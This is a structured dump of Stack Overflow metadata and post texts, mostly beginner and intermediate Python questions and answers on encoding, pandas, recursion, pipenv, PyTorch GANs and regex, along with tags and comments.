has comment: http://stackoverflow.com/comment/81689503
has answer: http://stackoverflow.com/a/47368756

http://stackoverflow.com/comment/81596483
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47322794
has text: use upper function maybe...
score: 2

http://stackoverflow.com/q/47373515
has answer: http://stackoverflow.com/a/61281196
tagged with: encoding
has title: Python - Writing Emoji characters to a log file
answer count: 1
downvote count: 0
tagged with: emoji
linked to: http://stackoverflow.com/q/32232556
tagged with: logging
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81700281
type: UnansweredQuestion
has body: I am having difficulty writing emoji characters to a .log file. Here is the relevant snipet of my code: with open("testLog.log", "a") as myfile: print (message.content) #print to console - for debugging only print (message.content.encode('utf-8')) #print to console - for debugging only myfile.write(message.content) This is what is outputted into my console when message.content = 'hello there! ' hello there! b'hello there! \xf0\x9f\x91\x8d' Ignoring exception in on_message Traceback (most recent call last): File "C:\path\to\file\file.py", line 29, in on_message myfile.write(message.content) File "C:\Python\lib\encodings\cp1252.py", line 19, in encode return codecs.charmap_encode(input,self.errors,encoding_table)[0] UnicodeEncodeError: 'charmap' codec can't encode character '\U0001f44d' in position 13: character maps to &lt;undefined&gt; I have looked around and tried some solutions, but to no avail. Is this error due to how my log file is encoded? If so, how can I change the encoding to allow utf-8 characters? An allowable but not preferable solution would be a way to detect if these characters exist in the string so that I can instead not write the content to the log.
upvote count: 5
score: 5
tagged with: python
linked to: http://stackoverflow.com/q/43797500

http://stackoverflow.com/comment/81459353
score: 0
comment on: http://stackoverflow.com/a/47253352
type: Comment
type: AnswerComment
has text: yes the bucket name is correct. Also I'm running 2.7, but I don't think there's any difference in terms of code in this case?

http://stackoverflow.com/comment/129927731
has text: Your answer could be improved with additional supporting information. Please [edit] to add further details, such as citations or documentation, so that others can confirm that your answer is correct. You can find more information on how to write good answers in the [help center](https://stackoverflow.com/help/how-to-answer).
score: 0
comment on: http://stackoverflow.com/a/71986319
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47231603
has body: Hey I'm trying to write some code that doesn't use any of the normal python code for multiplication, division or loops. Right now im trying to do the multiplication part. Here's what i have so far. def incr(a): '''Returns the next integer after a''' return a + 1 def zero(a): '''Returns True if a is zero''' return a == 0 def decr(a): '''Returns the integer before a''' return a -1 def add(a, b): '''Returns the sum of a and b''' # using only incr, decr, zero, and recursion a = incr(a) b = decr(b) if zero(b) != 1: add(a,b) if zero(b) != 0: print(a) #return 0 return a #edit def mult(a, b): '''Returns the product of a and b''' # using only add, incr, decr, zero, and recursion add(a,a) b= decr(b) if zero(b) != 0: mult(a,b) if zero(b) != 0: print(a) #return 0 return a #edit mult(2,4) However, the code for the mult() is only adding, not multiplying. for this I should be getting 8,but I'm only getting 4. So for some reason it's not running the script again.
has answer: http://stackoverflow.com/a/47231715
possible better answer: http://stackoverflow.com/a/47232046
answer count: 4
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47232046
has answer: http://stackoverflow.com/a/47231913
has answer: http://stackoverflow.com/a/47231928
accepted answer: http://stackoverflow.com/a/47231928
has comment: http://stackoverflow.com/comment/81414480
type: Question
tagged with: python-3.x
tagged with: recursion
has comment: http://stackoverflow.com/comment/81414128
has title: Multiplication using only recursion
tagged with: python

http://stackoverflow.com/comment/81673734
score: 0
comment on: http://stackoverflow.com/q/47357431
type: Comment
has text: Hey, i input exactly what you wrote and I got an error. “w+= np.... ValueError: non broadcastable output operand with shape (1,2) doesn’t match the broadcast shape (2,2). How come yours works?? I’m using python 2 btw... @sera
type: QuestionComment

http://stackoverflow.com/comment/81587097
type: AnswerComment
score: 0
has text: Because the answer he's looking for is so simple it's not worth the effort to code. This however was a bit of a challenge, I enjoyed it and it's an answer to his question (plus its saved in my history for future reference)
type: Comment
comment on: http://stackoverflow.com/a/47317858

http://stackoverflow.com/q/47280537
has comment: http://stackoverflow.com/comment/81513280
tagged with: python
has answer: http://stackoverflow.com/a/47293552
score: 4
has body: I want to generate a uuid in python using the md5 hash of a preexisting unique identifier ranged between 1 and 999999999 It seems obvious that on numbers so small there couldn't be any worry... but it made me think, do we know the smallest two integers that have the same md5 hash ?
upvote count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47281500
answer count: 3
tagged with: guid
has comment: http://stackoverflow.com/comment/81511671
tagged with: uuid
has comment: http://stackoverflow.com/comment/81511495
downvote count: 0
possible better answer: http://stackoverflow.com/a/47281170
favorite count: 0
has comment: http://stackoverflow.com/comment/81511572
type: Question
has title: Are there md5 collisions for integers in range(1,1000000000)
has comment: http://stackoverflow.com/comment/81511554
has answer: http://stackoverflow.com/a/47281170
tagged with: hash
has comment: http://stackoverflow.com/comment/81511775
has comment: http://stackoverflow.com/comment/81511876
accepted answer: http://stackoverflow.com/a/47293552
tagged with: md5
has comment: http://stackoverflow.com/comment/81512724

http://stackoverflow.com/q/47253169
favorite count: 0
possible better answer: http://stackoverflow.com/a/47253297
has answer: http://stackoverflow.com/a/47254037
has comment: http://stackoverflow.com/comment/81456623
tagged with: heap-memory
type: Question
tagged with: python
accepted answer: http://stackoverflow.com/a/47270384
has title: Are all objects returned by value rather than by reference?
tagged with: numpy
has body: I am coding in Python trying to decide whether I should return a numpy array (the result of a diff on some other array) or return numpy.where(diff)[0], which is a smaller array but requires that little extra work to create. Let's call the method where this happens methodB. I call methodB from methodA. The rub is that I won't necessarily always need the where() result in methodA, but I might. So is it worth doing this work inside methodB, or should I pass back the (much larger memory-wise) diff itself and then only process it further in methodA if needed? That would be the more efficient choice assuming methodA just gets a reference to the result. So, are function results ever not copied when they are passed back the the code that called that function? I believe that when methodB finishes, all the memory in its frame will be reclaimed by the system, so methodA has to actually copy anything returned by methodB in to its own frame in order to be able to use it. I would call this "return by value". Is this correct?
has answer: http://stackoverflow.com/a/47270384
answer count: 4
has answer: http://stackoverflow.com/a/47253297
has answer: http://stackoverflow.com/a/47253293
upvote count: 2
type: AnsweredQuestion
score: 2
tagged with: function
downvote count: 0
has comment: http://stackoverflow.com/comment/81456984

http://stackoverflow.com/comment/81508697
comment on: http://stackoverflow.com/q/47275712
type: QuestionComment
has text: Not 100% sure but a [kernel density estimator](https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.gaussian_kde.html) might do what you want.
score: 0
type: Comment

http://stackoverflow.com/a/47237059
type: AcceptedAnswer
has body: To upload tests results on circle, you have to speficy the main test folder not the files. In your case it should be - store_test_results: path: test
downvote count: 0
upvote count: 8
type: Answer
answers question: http://stackoverflow.com/q/47236086
has comment: http://stackoverflow.com/comment/81425234
score: 8
accepted answer of: http://stackoverflow.com/q/47236086

http://stackoverflow.com/a/47324181
accepted answer of: http://stackoverflow.com/q/47324115
score: 3
has comment: http://stackoverflow.com/comment/81599631
has comment: http://stackoverflow.com/comment/81600584
has comment: http://stackoverflow.com/comment/81600368
has comment: http://stackoverflow.com/comment/81599828
has comment: http://stackoverflow.com/comment/81600229
type: Answer
has comment: http://stackoverflow.com/comment/81599164
has comment: http://stackoverflow.com/comment/81599521
has comment: http://stackoverflow.com/comment/81600139
answers question: http://stackoverflow.com/q/47324115
has body: I think you can create dictionary of DataFrames with keys from filenames: file_list = glob.glob(path + '/*.csv') dfs = {os.path.basename(fp).split('.')[0]: pd.read_csv(fp).drop(['column1', 'column2'], axis=1) for fp in file_list} For select use: print (dfs['turbo1']) EDIT: dfs=np.array([pd.read_csv(fp).drop(['column1','column2'],axis=1).values for fp in file_list])
upvote count: 3
type: AcceptedAnswer
downvote count: 0

hid
tag name: hid
tags question: http://stackoverflow.com/q/47347407
type: Tag

http://stackoverflow.com/q/47380550
score: 2
type: AnsweredQuestion
has title: Creating and overwriting dataframe(lists) in a loop in Python
tagged with: list
has comment: http://stackoverflow.com/comment/81715328
has comment: http://stackoverflow.com/comment/81715214
tagged with: pandas
accepted answer: http://stackoverflow.com/a/47381406
has comment: http://stackoverflow.com/comment/81713863
tagged with: python
has comment: http://stackoverflow.com/comment/81715407
has comment: http://stackoverflow.com/comment/81713749
has answer: http://stackoverflow.com/a/47381406
has comment: http://stackoverflow.com/comment/81713691
has comment: http://stackoverflow.com/comment/81715244
has comment: http://stackoverflow.com/comment/81713970
type: Question
has comment: http://stackoverflow.com/comment/81713640
has comment: http://stackoverflow.com/comment/81713651
has comment: http://stackoverflow.com/comment/81714052
has comment: http://stackoverflow.com/comment/81715222
upvote count: 2
has comment: http://stackoverflow.com/comment/81715137
downvote count: 0
answer count: 1
has body: This is a powerful simplification of my earlier problem :) There are 4 lists (In my case the values are integers): e00 = [AB, CA] e01 = [BD, FK] e10 = [AC, DF] e11 = [DE, FB] next: a = input('Write a binary number. \n') b = [] for i in range(len(a)-1): c = a[i:i+2] b.append(c) For example, for string 00101, I get: b = ['00', '01', '10', '01'] Stages: I choose the first two values in list 'b', ie '00' and '01' For this reason, I will use lists e00 and e01 I compare the above lists. My code just for this case: a00 = pd.DataFrame({'A':e00}) a01 = pd.DataFrame({'B':e01}) a10 = pd.DataFrame({'C':e10}) a11 = pd.DataFrame({'D':e11}) b = [] for i in range(len(a)-1): c = a[i:i+2] b.append(c) if b[0]=='00': if b[1]=='01': m001 = a00.assign(x=a00.A.str[-1]).merge(a01.assign(x=a01.B.str[0], B=a01.B.str[1:])) v = (m001['A'] + m001['B']) v.str.len() == v.apply(set).str.len() c=v[v.str.len() == v.apply(set).str.len()].tolist() Which gives: c = [ABD] I choose the third value from the list 'b', ie '10' For this reason I will use c and e10 I compare the above lists. I get c = [ABDF] I choose the last fourth value in the list 'b', ie '01' For this reason I will use c and e01 I compare the above lists. Finally, I get c = [ABDFK] End I hope now the problem will be brighter :)
has comment: http://stackoverflow.com/comment/81713465
favorite count: 0

http://stackoverflow.com/comment/81719395
comment on: http://stackoverflow.com/a/47381738
type: Comment
score: 0
type: AnswerComment
has text: ekhumoro, I'm going to bed, here in France it's late, and I get up early tomorrow (where are you from?). I will test your code tomorrow. (-> where is the tick symbol?). If you agree, I'll let you know if it works for me.

http://stackoverflow.com/a/47244476
score: 0
answers question: http://stackoverflow.com/q/47244376
type: AcceptedAnswer
has body: bulkSNMP returns an iterator and you were using next() on it which retrieves only the first of the iterations. You probably got the idea from the PySNMP documentation, which doesn't do a great job of showing how to retrieve all the results. You should use a for loop to loop over all of the iterations, as follows: from pysnmp.hlapi import * routers = ["router1", "router2"] def snmpquery (hostip): snmp_iter = bulkCmd(SnmpEngine(), CommunityData('communitystring'), UdpTransportTarget((hostip, 161)), ContextData(), 0, 50, ObjectType(ObjectIdentity('IF-MIB', 'ifDescr')), ObjectType(ObjectIdentity('IF-MIB', 'ifAlias')), ObjectType(ObjectIdentity('IF-MIB', 'ifOperStatus')), lexicographicMode=True) for errorIndication, errorStatus, errorIndex, varBinds in snmp_iter: # Check for errors and print out results if errorIndication: print(errorIndication) elif errorStatus: print('%s at %s' % (errorStatus.prettyPrint(), errorIndex and varBinds[int(errorIndex) - 1][0] or '?')) else: for varBind in varBinds: print(' = '.join([x.prettyPrint() for x in varBind])) # calls snmpquery for all routers in list for router in routers: snmpquery(router) Also, be careful about indentation when posting Python-related questions, as it is significant.
type: Answer
has comment: http://stackoverflow.com/comment/82363043
accepted answer of: http://stackoverflow.com/q/47244376

masking
tag name: masking
type: Tag
tags question: http://stackoverflow.com/q/47325110

http://stackoverflow.com/q/47264403
score: 1
upvote count: 1
has title: Dump a pandas DataFrame which contains column name as "name" to mysql table
favorite count: 0
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/47278217
tagged with: python
tagged with: pandas-to-sql
possible better answer: http://stackoverflow.com/a/47265348
tagged with: pandas
has body: I am trying to dump my crawled data to mysql using pandas and to_sql. I am approaching in two ways 1> {# -*- coding: utf-8 -*- import numpy as np import pandas as pd import MySQLdb from sqlalchemy import create_engine import os from pandas.io import sql import MySQLdb columns_list= ['persons','c_number','name'] df = pd.DataFrame() file_name = "/home/*****/****/data.xlsx" data = pd.read_excel(file_name) df = df.append(data) df.columns = columns_list engine=create_engine('mysql+mysqldb://root:root@localhost:3306/database_name?charset=utf8&amp;use_unicode=1', echo=False) con = MySQLdb.connect(host="localhost",user="user_name",passwd="password", db="database_name") df.to_sql(con=con, name='table_name',if_exists='replace',flavor='mysql')} Here I am getting TypeError: to_sql() got multiple values for keyword argument 'name' error 2> import numpy as np import pandas as pd import MySQLdb from sqlalchemy import create_engine import os columns_list= ['persons','c_number','name'] df = pd.DataFrame() file_name = "data.xlsx" data = pd.read_excel(file_name) df = df.append(data) df_n = pd.DataFrame() df = df_n.append(df_new) df = np.array_split(df, 100) for x in range(len(df_new)): print x engine = create_engine('mysql+mysqldb://user_name:password@localhost:3306/database_name?charset=utf8&amp;use_unicode=1', echo=False) df[x].to_sql(name='table_name', con=engine, if_exists = 'append', index=False) engine.dispose() This way I am able to dump the data but name field I am getting Null in all records. Is there a way to dump the data using column name "name"
accepted answer: http://stackoverflow.com/a/47278217
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47265348
downvote count: 0
tagged with: mysql

http://stackoverflow.com/q/47236603
has title: How to read file line by line abd write it to file based on condition. in python
tagged with: python-2.7
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81423547
has body: I want to read file line by line first perform some operation on first value then want to read second value from file again want to perform some operation Eg.if I have one file which have values Vik John Lisa I want to read one by one and pass to sql server and write the output(age) based on gender in file If name started with Vik is male then write his age in file male.txt else female.txt Could you please help me on this code: with open('C:\code\out.txt', 'r') as content_file: for line in content_file: cs=pyodbc.connect('Trusted_Connection=yes', driver = '{SQL Server}',server = '.', database = 'Test') tablequery="select Age,Gender from dbo.AuditSource where Name='" + line+"'"; cursor = cs.cursor() cursor.execute(tablequery) rows = cursor.fetchall() for row in rows: age=row.Age Gen=row.Gender print(age) if Gen=='M': with open('C:\code\male.txt', 'a') as f: f.write(age) #here getting error not able toe write var value else: with open('C:\code\female.txt', 'a') as f: f.write(age) #here getting error not able toe write var value
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81423546
tagged with: python
has answer: http://stackoverflow.com/a/47236650
has comment: http://stackoverflow.com/comment/81424168

http://stackoverflow.com/a/47261827
downvote count: 0
answers question: http://stackoverflow.com/q/47260564
upvote count: 1
has comment: http://stackoverflow.com/comment/81476546
type: Answer
has comment: http://stackoverflow.com/comment/81477952
has body: This will convert your list to a dictionary alist = [1,2,3,4,5,6,7,8,9] adict = {} for value in alist: adict[value]=value If the list won't contain a simple range of numbers you could use alist = ['oof','hey',3,4,5,6,7,8,9] adict = {} for index in range(len(alist)): adict[index]=alist[index] Or the simpler version alist = ['oof','hey',3,4,5,6,7,8,9] adict = {'someKey':alist}
accepted answer of: http://stackoverflow.com/q/47260564
score: 1
type: AcceptedAnswer

http://stackoverflow.com/a/47357813
type: Answer
has comment: http://stackoverflow.com/comment/81674521
score: 0
has body: I think what you need is numpy concatenate function: import numpy as np x = np.array([[0.0], [0.33], [0.66], [1.0]]) x2 = np.array([[0.0], [0.33], [0.66], [1.0]]) y = np.array([[1.0, 2.0, 3.0, 4.0]]).T w = np.random.random((1, 2)) x_all = np.concatenate((x,x2),axis = 1) for j in xrange(100): mx = np.dot(x_all, w.T) w += (x_all.T.dot((y - mx))).T print(mx) This works but i am not sure that the way that the weights are updated is correct. Some examples of linear regression from scratch can be found here: https://machinelearningmastery.com/implement-simple-linear-regression-scratch-python/ https://mubaris.com/2017-09-28/linear-regression-from-scratch
answers question: http://stackoverflow.com/q/47357431
has comment: http://stackoverflow.com/comment/81674340

http://stackoverflow.com/a/47243990
answers question: http://stackoverflow.com/q/47243483
type: Answer
has comment: http://stackoverflow.com/comment/81516575
score: 0
type: AcceptedAnswer
has body: You need to pass headers argument in post function. headers = {"session-token" : "xxxx_b0b8a6f22a82396b6afcfa344f3022"} response = requests.post('https://api.matchbook.com/edge/rest/reports/v1/offers/current/?odds-type=DECIMAL&amp;exchange-type=binary&amp;currency=EUR', headers=headers) also if you need to get an json response, just call json() function on response variable. something like response.json()
accepted answer of: http://stackoverflow.com/q/47243483
has comment: http://stackoverflow.com/comment/81450974

http://stackoverflow.com/q/47227406
type: AnsweredQuestion
answer count: 3
has body: I am trying to migrate to pipenv. I traditionally used setup.py with pip and did pip install -e . to install the module as a package, so that I can achieve stuff like from myproject.xyz.abc import myClass from anywhere within the project. How do I achieve the similar effect with pipenv and get rid of the setup.py? Note: I am using python 2.7.
accepted answer: http://stackoverflow.com/a/47421085
tagged with: setuptools
has title: Pipenv vs setup.py
downvote count: 0
tagged with: pip
has answer: http://stackoverflow.com/a/54814249
possible better answer: http://stackoverflow.com/a/47594760
favorite count: 0
type: Question
tagged with: pipenv
has answer: http://stackoverflow.com/a/47594760
has comment: http://stackoverflow.com/comment/81800197
score: 32
has answer: http://stackoverflow.com/a/47421085
tagged with: python
upvote count: 32
has comment: http://stackoverflow.com/comment/81755369
has comment: http://stackoverflow.com/comment/81743535

http://stackoverflow.com/q/47289534
tagged with: itk
has body: I am using macOS Sierra 10.12.6, trying to install the SimpleElastix extension of SimpleITK. I have been following the instructions here. After I got it to work, it turned out the extension seems to be only included in SimpleITK when I use Python 2.7, but not when I use Python 3.6 in the sense that when I try import SimpleITK as sitk resultImage = sitk.Elastix(sitk.ReadImage("fixedImage.nii"), sitk.ReadImage("movingImage.nii")) I get the error AttributeError: module 'SimpleITK' has no attribute 'Elastix' I have found this suggestion but have not been able to get it to work on my Mac. Thanks for any advice, TomD
tagged with: simpleitk
tagged with: python
tagged with: elastix
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49513962
tagged with: python-3.x
upvote count: 2
score: 2
type: UnansweredQuestion
answer count: 1
downvote count: 0
has title: Install SimpleElastix for Python3 on macOS

http://stackoverflow.com/a/47331422
type: Answer
accepted answer of: http://stackoverflow.com/q/47306429
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: The question does not address the specifics, e.g. pure python vs. c-wrapper-based, nor any license-issues. But well... two things which worked for me in the past (the former was more tested for my own IPM-method on the netlib dataset; the latter looked good too): Dirty code to use netlib's test cases with scipy's solvers based on the former approach. cvxopt MPS-reading is somewhat hidden here and here. Looks pretty much python-only to me. One should be careful about potentially modifications already done to the problem by cvxopt, at least when asking cvxopt for the matrix-form. I don't remember right now what to expect here (and it also did not matter much in my cases). Warning: cvxopt is known for a non-trivial installation-process on windows, if you try to install the whole project! There are also some warnings about what features of MPS-files are not supported. GLPK + swiglpk Basically swig-based bindings for GLPK. Available here (probably most newest python-bindings to GLPK). If using this, use it together with GLPK's manual and some understanding of SWIG (or else ). This one should be more controllable in terms of what we read (see manual)!
score: 2
answers question: http://stackoverflow.com/q/47306429

http://stackoverflow.com/comment/81499712
score: 0
comment on: http://stackoverflow.com/q/47273900
type: Comment
type: QuestionComment
has text: Don't think you are holding it wrong :-) For what it's worth, I just tried the extension and got bit [by this one](https://github.com/Microsoft/vscode-python/issues/56). I'd suggest you open up an issue on Github with your problem, might very well be a legitimate bug.

http://stackoverflow.com/comment/81612916
type: Comment
type: AnswerComment
has text: Done hope it helps
comment on: http://stackoverflow.com/a/47327463
score: 0

http://stackoverflow.com/comment/138426878
has text: @YoannPageaud - yes - I will edit - thank you. It also seems that changes to R in the last 7 years (including going from 32 bit to 64 bit) means that the seed no longer produces the same output, though the $p$-values for `[5,4]` still match each other - I will not edit this.
comment on: http://stackoverflow.com/a/47298289
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/q/47312665
has comment: http://stackoverflow.com/comment/81576250
has answer: http://stackoverflow.com/a/47312832
score: 2
has title: How can I merge these regex into one?
answer count: 3
upvote count: 2
downvote count: 0
has body: (Before I start: I'm doing this in python) So basically I need my single regex to match all quotation marks immediately before and after my html QUOT tags: If a quotation mark exists in those spaces, I need it to match. Example: &lt;QUOT.START&gt; Hello, this doesn't match! &lt;\QUOT.END&gt; "&lt;QUOT.START&gt; "Hello, this will call 4 matches! " &lt;\QUOT.END&gt; " I have 4 different regexes for this purpose: 1. \"+(?=&lt;QUOT\.START&gt;) 2. (?&lt;=&lt;QUOT\.START&gt;)\"+ 3. \"+(?=&lt;\\QUOT\.END&gt;) 4. (?&lt;=&lt;\\QUOT\.END&gt;)\"+ Can I merge these 4 into basically one?
has comment: http://stackoverflow.com/comment/81576171
has comment: http://stackoverflow.com/comment/81576330
has comment: http://stackoverflow.com/comment/81576224
favorite count: 0
has answer: http://stackoverflow.com/a/47312829
type: Question
has comment: http://stackoverflow.com/comment/81576306
has answer: http://stackoverflow.com/a/47313015
has comment: http://stackoverflow.com/comment/81576570
has comment: http://stackoverflow.com/comment/81576554
type: UnansweredQuestion
tagged with: expression
tagged with: tags
tagged with: http://stackoverflow.com/tag/html
tagged with: python
tagged with: regex

http://stackoverflow.com/comment/85163558
type: AnswerComment
has text: @eyllanesc How would you do it in PyQt4?
score: 0
comment on: http://stackoverflow.com/a/47290541
type: Comment

http://stackoverflow.com/q/47257660
has answer: http://stackoverflow.com/a/47257705
has answer: http://stackoverflow.com/a/47257699
has body: I am trying to create a code that will ask the user for the area of a circle, and from that find the circumference of it. So far I have got this code: area = input("Please choose an area for your circle: ") def circumference(area): import math circumference = (squareRoot(area)) / (math.pi) print("The circumference is: ", circumference) When the chosen area is 60, it returns: Please choose an area for your circle: 60 The circumference is: &lt;function circumference at 0x101478510&gt; How can I improve my code so that it works and why it would work?
score: 0
upvote count: 1
downvote count: 1
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81466226
type: Question
answer count: 2
tagged with: python
type: UnansweredQuestion
has title: How to find the circumference of a circle with an inputted area

http://stackoverflow.com/comment/81415676
type: Comment
type: QuestionComment
has text: why do they need to be global variables?
comment on: http://stackoverflow.com/q/47232431
score: 1

http://stackoverflow.com/comment/81428057
has text: @Silencer edited to include that information
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47237098
score: 0

http://stackoverflow.com/comment/81489712
type: AnswerComment
comment on: http://stackoverflow.com/a/47268711
has text: Regarding your final note: I used arbitrary numbers for the example above. But if I have the same number twice in my data I would consider both. So it's nice that you included them already.
score: 0
type: Comment

http://stackoverflow.com/q/47275395
has comment: http://stackoverflow.com/comment/82001546
tagged with: neural-network
has comment: http://stackoverflow.com/comment/81829006
tagged with: python
has comment: http://stackoverflow.com/comment/81903787
accepted answer: http://stackoverflow.com/a/47475681
has comment: http://stackoverflow.com/comment/81858575
possible better answer: http://stackoverflow.com/a/47475268
has answer: http://stackoverflow.com/a/47475681
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81779422
answer count: 2
has answer: http://stackoverflow.com/a/47475268
tagged with: pytorch
downvote count: 0
score: 21
has comment: http://stackoverflow.com/comment/81799896
upvote count: 21
has title: Generating new images with PyTorch
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81829119
has body: I am studying GANs I've completed the one course which gave me an example of a program that generates images based on examples inputed. The example can be found here: https://github.com/davidsonmizael/gan So I decided to use that to generate new images based on a dataset of frontal photos of faces, but I am not having any success. Differently from the example above, the code only generates noise, while the input has actual images. Actually I don't have any clue about what should I change to make the code point to the right direction and learn from images. I haven't change a single value on the code provided in the example, yet it does not work. If anyone can help me understand this and point me to the right direction would be very helpful. Thanks in advance. My Discriminator: class D(nn.Module): def __init__(self): super(D, self).__init__() self.main = nn.Sequential( nn.Conv2d(3, 64, 4, 2, 1, bias = False), nn.LeakyReLU(0.2, inplace = True), nn.Conv2d(64, 128, 4, 2, 1, bias = False), nn.BatchNorm2d(128), nn.LeakyReLU(0.2, inplace = True), nn.Conv2d(128, 256, 4, 2, 1, bias = False), nn.BatchNorm2d(256), nn.LeakyReLU(0.2, inplace = True), nn.Conv2d(256, 512, 4, 2, 1, bias = False), nn.BatchNorm2d(512), nn.LeakyReLU(0.2, inplace = True), nn.Conv2d(512, 1, 4, 1, 0, bias = False), nn.Sigmoid() ) def forward(self, input): return self.main(input).view(-1) My Generator: class G(nn.Module): def __init__(self): super(G, self).__init__() self.main = nn.Sequential( nn.ConvTranspose2d(100, 512, 4, 1, 0, bias = False), nn.BatchNorm2d(512), nn.ReLU(True), nn.ConvTranspose2d(512, 256, 4, 2, 1, bias = False), nn.BatchNorm2d(256), nn.ReLU(True), nn.ConvTranspose2d(256, 128, 4, 2, 1, bias = False), nn.BatchNorm2d(128), nn.ReLU(True), nn.ConvTranspose2d(128, 64, 4, 2, 1, bias = False), nn.BatchNorm2d(64), nn.ReLU(True), nn.ConvTranspose2d(64, 3, 4, 2, 1, bias = False), nn.Tanh() ) def forward(self, input): return self.main(input) My function to start the weights: def weights_init(m): c…

http://stackoverflow.com/q/47318271
tagged with: tensorflow-serving
tagged with: python
answer count: 0
tagged with: java
upvote count: 1
score: 1
tagged with: tensorflow
has title: Dense and Sparse Tensor Input to TensorFlow Model in Java
favorite count: 0
type: Question
type: UnansweredQuestion
has body: After training the model in python &amp; loading it in Java, for making predictions, how is it possible to create sparse tensors for categorical inputs. I could successfully create tensors for numeric values as : Tensor x = Tensor.create( new long[] {2, 4}, FloatBuffer.wrap( new float[] { 6.4f, 3.2f, 4.5f, 1.5f, 5.8f, 3.1f, 5.0f, 1.7f })); But for Categorical data, we need Sparse Tensors, how can we create it? Please find my input_fn() as : def input_fn(df): # Creates a dictionary mapping from each continuous feature column name (k) to # the values of that column stored in a constant Tensor. continuous_cols = {k: tf.constant(df[k].values) for k in CONTINUOUS_COLUMNS} # Creates a dictionary mapping from each categorical feature column name (k) categorical_cols = {k: tf.SparseTensor( indices=[[i, 0] for i in range(df[k].size)], values=df[k].values, dense_shape=[df[k].size, 1]) for k in CATEGORICAL_COLUMNS} # Merges the two dictionaries into one. feature_cols = dict(continuous_cols.items() + categorical_cols.items()) # Converts the label column into a constant Tensor. label = tf.constant(df[LABEL_COLUMN].values) # Returns the feature columns and the label. return feature_cols, label So what if i have input like below: age workclass fnlwgt education education_num marital_status occupation race LABEL(Income_bracket) 39 State-gov 77516 Bachelors 13 Never-married Adm-clerical White 3 How can i create a tensor for continous values and categorical values and merge them to be provided as the input to Tensorflow in JAVA. Find the code for training the model in python - https://gist.github.com/gaganmalhotra/cd6a5898b9caf9005a05c8831a9b9153 @ash
downvote count: 0

http://stackoverflow.com/q/47236272
has comment: http://stackoverflow.com/comment/81422850
has answer: http://stackoverflow.com/a/47236363
has body: I have a functions module that has some functions all with some common inputs, and others that are particular to them. e.g. def func_a(time_series, window ='1D'): def func_b(time_series, window ='1D', availability_history ): def func_c(time_series, window ='1D', max_lag=25, use_probability ='T'): I am trying to run these functions in a loop as follows: func_list = [func_a, func_b, func_c] windows = ['1D', '5D'] params = ['', hist, (25, 'T')] for i_func, func in enumerate(func_list): class_obj = class_X(A,B,func) for window in windows: args = (window, params[i_func]) # params is a list or tuple of other params for funcs e.g. class_obj.run_func(args) And in another module class class_X(object): def __init__(self, a, b, func_to_run): self.a = a self.ts = b self.method = func_to_run def generate_output(self, *args): return self.method(self.ts, args) # time series is common and fixed for all, other params differ or change The above code wouldn't work because I think the functions that I am calling need to be changed to make use of *argsrather than having fixed defined params. I think *args is meant for functions where number of input params are not known, but I am trying to use it in a case where the number of input params is known, but varies across different functions in a loop. Is there any fix for this where I don't have to modify the functions module and can still pass all the required params as a single object (e.g. list or tuple)? EDIT- macromoonshine's answer states I can use kwargs like this: def generate_output(self, **kwargs): return self.method(self.ts, kwargs) With this modification you can call generate_outputs() as follows: x.generate_outputs( window ='1D', max_lag=25, use_probability ='T') where xis an instance of your class X Can this be enhanced so I can pass args other than time_series and window as a lookup value in a loop e.g. x.generate_outputs( window ='1D', params[iloop]) where params[iloop] = max_lag=25, use_probability ='T' I tried doing this: p…
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: oop
has title: How to use *args in python
linked to: http://stackoverflow.com/q/3394835
answer count: 1
tagged with: keyword-argument
type: Question
accepted answer: http://stackoverflow.com/a/47236363
tagged with: args

http://stackoverflow.com/comment/81545844
has text: My first question was how many bits wide is the bus? Then I realized...
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47297120
type: Comment

http://stackoverflow.com/q/47300526
favorite count: 0
has body: if (80 &lt;= m &lt;= 100): g = "A" elif (70 &lt;= m &lt; 80): g = "B" elif (60 &lt;= m &lt; 70): g = "C" elif (50 &lt;= m &lt; 60): g = "D" elif (m &lt; 50): g = "U" This is basically a grade measuring piece of code that takes in value m, meaning mark, and obtains grade g. Is there a shorter not necessarily more pythonic way for the same purpose? Thanks in advance.
type: Question
tagged with: python-3.x
answer count: 9
has answer: http://stackoverflow.com/a/47300748
has answer: http://stackoverflow.com/a/66842540
has answer: http://stackoverflow.com/a/47332999
tagged with: python
has answer: http://stackoverflow.com/a/47300942
score: 4
has answer: http://stackoverflow.com/a/47301560
has answer: http://stackoverflow.com/a/47300654
accepted answer: http://stackoverflow.com/a/47300634
has answer: http://stackoverflow.com/a/47300634
upvote count: 4
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47300596
has answer: http://stackoverflow.com/a/47300596
has title: Is there a shorter way for if-else chains?
downvote count: 0
has answer: http://stackoverflow.com/a/47332471

http://stackoverflow.com/comment/81639629
type: AnswerComment
comment on: http://stackoverflow.com/a/47337864
has text: Anton, what the advantage of this? Or is it just a different approach?
type: Comment
score: 0

http://stackoverflow.com/a/47350669
type: Answer
accepted answer of: http://stackoverflow.com/q/47350436
has comment: http://stackoverflow.com/comment/81722980
